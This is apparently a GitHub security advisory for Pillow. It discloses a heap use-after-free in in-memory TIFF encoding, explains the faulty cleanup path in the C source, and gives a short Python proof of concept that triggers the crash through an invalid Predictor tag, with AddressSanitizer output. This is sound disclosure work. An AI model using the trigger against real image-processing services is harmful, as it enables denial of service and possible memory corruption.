GHSA-4rr5-89j8-mwwm

Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer

Description

### Summary Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution. ### Details The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`): - `src/libImaging/TiffDecode.c:1041-1046` Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set: - `src/encode.c:99-101` - `src/libImaging/TiffDecode.c:955` `TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`: - `src/libImaging/TiffDecode.c:103-115` The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write. ### PoC ```python import io from PIL import Image # In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer # data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the # TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer. im = Image.new("L", (64, 64)) buf = io.BytesIO() im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor ``` Run it: ``` $ python 01_poc.py PredictorSetup: Floating point "Predictor" not supported with 1 data format. OSError: encoder error -2 when writing image file Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory. Under AddressSanitizer (build with `-fsanitize=address`), relevant frames: ``` ==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804 WRITE of size 4 at 0x7ef737b48804 thread T0 #1 _tiffWriteProc src/libImaging/TiffDecode.c:115 #3 TIFFFlush libtiff.so.6 #5 TIFFClose libtiff.so.6 #6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955 #7 _dealloc src/encode.c:100 freed by thread T0 here: #1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045 #2 _encode src/encode.c:139 previously allocated by thread T0 here: #1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863 #2 PyImaging_LibTiffEncoderNew src/encode.c:757 SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc ``` The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`. ### Impact Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.

Affected packages

References

• https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm WEB
• https://nvd.nist.gov/vuln/detail/CVE-2026-112396 ADVISORY
• https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb WEB
• https://github.com/python-pillow/Pillow PACKAGE
• https://github.com/python-pillow/Pillow/releases/tag/13.0.0 WEB

Sources